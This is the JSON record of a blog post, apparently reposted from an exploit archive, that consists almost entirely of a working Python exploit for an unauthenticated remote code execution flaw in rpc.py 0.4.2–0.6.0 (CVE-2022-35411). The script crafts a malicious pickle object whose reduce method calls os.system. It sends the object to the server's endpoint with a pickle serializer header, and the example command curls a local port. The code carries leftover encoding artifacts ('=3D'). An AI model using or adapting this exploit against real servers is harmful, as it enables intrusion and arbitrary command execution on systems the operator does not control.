{"id":28578,"date":"2022-07-29T20:41:34","date_gmt":"2022-07-29T16:41:34","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167872\/rpcpy060-exec.txt"},"modified":"2022-07-30T09:52:43","modified_gmt":"2022-07-30T05:22:43","slug":"rpc-py-0-6-0-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/rpc-py-0-6-0-remote-code-execution\/","title":{"rendered":"rpc.py 0.6.0 Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: rpc.py 0.6.0 &#8211; Remote Code Execution (RCE)<br \/>\n# Google Dork: N\/A<br \/>\n# Date: 2022-07-12<br \/>\n# Exploit Author: Elias Hohl<br \/>\n# Vendor Homepage: https:\/\/github.com\/abersheeran<br \/>\n# Software Link: https:\/\/github.com\/abersheeran\/rpc.py<br \/>\n# Version: v0.4.2 &#8211; v0.6.0<br \/>\n# Tested on: Debian 11, Ubuntu 20.04<br \/>\n# CVE : CVE-2022-35411<\/p>\n<p dir=\"ltr\">import requests<br \/>\nimport pickle<\/p>\n<p dir=\"ltr\"># Unauthenticated RCE 0-day for https:\/\/github.com\/abersheeran\/rpc.py<\/p>\n<p dir=\"ltr\">HOST =3D &#8220;127.0.0.1:65432&#8221;<\/p>\n<p dir=\"ltr\">URL =3D f&#8221;http:\/\/{HOST}\/sayhi&#8221;<\/p>\n<p dir=\"ltr\">HEADERS =3D {<br \/>\n&#8220;serializer&#8221;: &#8220;pickle&#8221;<br \/>\n}<\/p>\n<p dir=\"ltr\">def generate_payload(cmd):<\/p>\n<p dir=\"ltr\">class PickleRce(object):<br \/>\ndef __reduce__(self):<br \/>\nimport os<br \/>\nreturn os.system, (cmd,)<\/p>\n<p dir=\"ltr\">payload =3D pickle.dumps(PickleRce())<\/p>\n<p dir=\"ltr\">print(payload)<\/p>\n<p dir=\"ltr\">return payload<\/p>\n<p dir=\"ltr\">def exec_command(cmd):<\/p>\n<p dir=\"ltr\">payload =3D generate_payload(cmd)<\/p>\n<p dir=\"ltr\">requests.post(url=3DURL, data=3Dpayload, headers=3DHEADERS)<\/p>\n<p dir=\"ltr\">def main():<br \/>\nexec_command(&#8216;curl http:\/\/127.0.0.1:4321&#8217;)<br \/>\n# exec_command(&#8216;uname -a&#8217;)<\/p>\n<p dir=\"ltr\">if __name__ =3D=3D &#8220;__main__&#8221;:<br \/>\nmain()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: rpc.py 0.6.0 &#8211; Remote Code Execution (RCE) # Google Dork: N\/A # Date: 2022-07-12 # Exploit Author: Elias Hohl # Vendor Homepage: https:\/\/github.com\/abersheeran # Software Link: https:\/\/github.com\/abersheeran\/rpc.py # Version: v0.4.2 &#8211; v0.6.0 # Tested on: Debian 11, Ubuntu 20.04 # CVE : CVE-2022-35411 import requests import pickle # Unauthenticated RCE 0-day for &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-28578","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28578","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=28578"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28578\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=28578"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=28578"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=28578"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}